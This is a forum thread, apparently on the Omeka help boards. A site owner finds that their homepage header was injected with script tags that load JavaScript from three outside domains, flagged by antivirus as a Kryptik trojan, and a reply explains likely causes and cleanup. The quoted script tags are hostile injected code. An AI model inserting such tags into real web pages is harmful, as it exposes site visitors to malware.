Adware and/or Kryptik trojan in my Omeka site?

I’m setting up a new Omeka site and have a user running ESET Security on her laptop. It picked up a problem with my Omeka site that my own and other computers do not. The error she gets says the webpage (http://mercerhistory.org) contains the following threat: JS/Kryptik.BLB trojan.

At first I thought it was just her… but when troubleshooting I turned off all my plugins and then looked at my source code. Sure enough, on my site’s home page in the header there is some very suspicious javascript… Here’s some of it:

<script type="text/javascript" async="" src="https://examhome.net/stat.js?v=1.0.2"></script>
<script type="text/javascript" async="" src="https://ads.voipnewswire.net/ad.js"></script>
<script type="text/javascript" src="https://stat.uustoughtonma.org/stats.js?f=5"></script>

That’s followed by stuff that looks more familiar to me, like the usual header info, Omeka RSS feed, theme information, etc.

So, does anyone know how this got on my site and how I get rid of it? I’d really appreciate any help you all can give – I’m a good computer user but not a javascript or PHP programmer, so I feel like I’m in over my head a bit!

This probably means someone has edited your theme files on your server to insert those scripts. It can happen in all sorts of ways: on shared hosting by having file permissions too loose so other users can edit your files, for example, or simply someone logging in directly to the server, for example with a leaked or easily-guessed password. Another common vector is vulnerabilities in software running on the server (Wordpress is often the “culprit” simply because it’s so ubiquitous that it’s efficient for attackers to target it).

If you haven’t edited your theme files themselves, replacing them with a fresh copy of the theme is likely to resolve this issue… doing the same with the Omeka application files and plugin files is likely a smart move too. Basically you want to have known-clean copies of things. If you have backups, just restoring to a time before the intrusion would work as well, though whether this is feasible could depend on when you last updated the site.

You’d also want to get a handle on the likely source of the problem so you can prevent it in the future, whether that’s tightening file permissions, changing passwords, or updating/deleting software on the server.

Thank you! This makes sense – I will follow the steps you suggest to get everything cleaned up and see if that resolves the problem.

This is in a shared hosting environment, so I’m not sure if I can eliminate all other things that might have allowed this to happen or not, but I will try what I can.